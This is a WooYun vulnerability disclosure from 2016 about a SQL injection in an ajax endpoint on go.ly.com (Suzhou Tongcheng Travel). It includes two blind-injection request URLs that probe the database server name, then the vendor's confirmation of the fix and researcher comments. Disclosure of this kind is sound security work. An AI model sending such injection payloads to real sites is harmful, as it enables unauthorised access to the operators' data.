当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0185861

漏洞标题：苏州同程某站SQL注入一枚

相关厂商：苏州同程旅游网络科技有限公司

漏洞作者： 路人甲

提交时间：2016-03-17 20:57

修复时间：2016-03-18 16:23

公开时间：2016-03-18 16:23

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-03-17： 细节已通知厂商并且等待厂商处理中
2016-03-18： 厂商已经确认，细节仅向厂商公开
2016-03-18： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

Tangscan的插件666，waf不是万能的，没有waf又万万不能。

详细说明：

tangsacan.jpg


 WooYun: 神器而已之苏州同程旅游SQL注入漏洞 
难道这个漏洞，你以为加上waf就没用了吗？我没玩过mssql。
所以你还是老老实实从源头修起吧。


返回正确
go.ly.com/ajax/GetNewRaiderInfo?type=1&desItemId=&desItemKind=&travelway='邮轮') and left(@@SERVERNAME,1)='t' and ('x'='x'&pageSize=12&pageindex=1&viewtype=1&iid=0.9737567349802703


true.png


返回错误
go.ly.com/ajax/GetNewRaiderInfo?type=1&desItemId=&desItemKind=&travelway='邮轮') and left(@@SERVERNAME,1)='x' and ('x'='x'&pageSize=12&pageindex=1&viewtype=1&iid=0.9737567349802703


false.png

漏洞证明：

修复方案：

源头修起、

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：18

确认时间：2016-03-18 10:53

厂商回复：

同一个参数又被报，打脸啊，开发传错机器了...是有从代码层面修来着
∠( ᐛ 」∠)_

最新状态：

2016-03-18：感谢关注同程旅游

漏洞评价：

评价

  1. 2016-03-17 21:20 | whynot ( 普通白帽子 | Rank:594 漏洞数:113 | 为你解冻冰河 为你放弃世界有何不可)

    666

  2. 2016-03-17 21:53 | 小川 认证白帽子 ( 核心白帽子 | Rank:1561 漏洞数:234 | 一个致力要将乌云变成搞笑论坛的男人)

    what?

  3. 2016-03-18 10:56 | hear7v ( 实习白帽子 | Rank:43 漏洞数:9 | 咳咳，kkcpp)

    qiugongkai

  4. 2016-03-18 12:45 | 冰杰 ( 实习白帽子 | Rank:53 漏洞数:6 | 彩笔是我...)

    @苏州同程旅游网络科技有限公司 小吴同志又被打脸了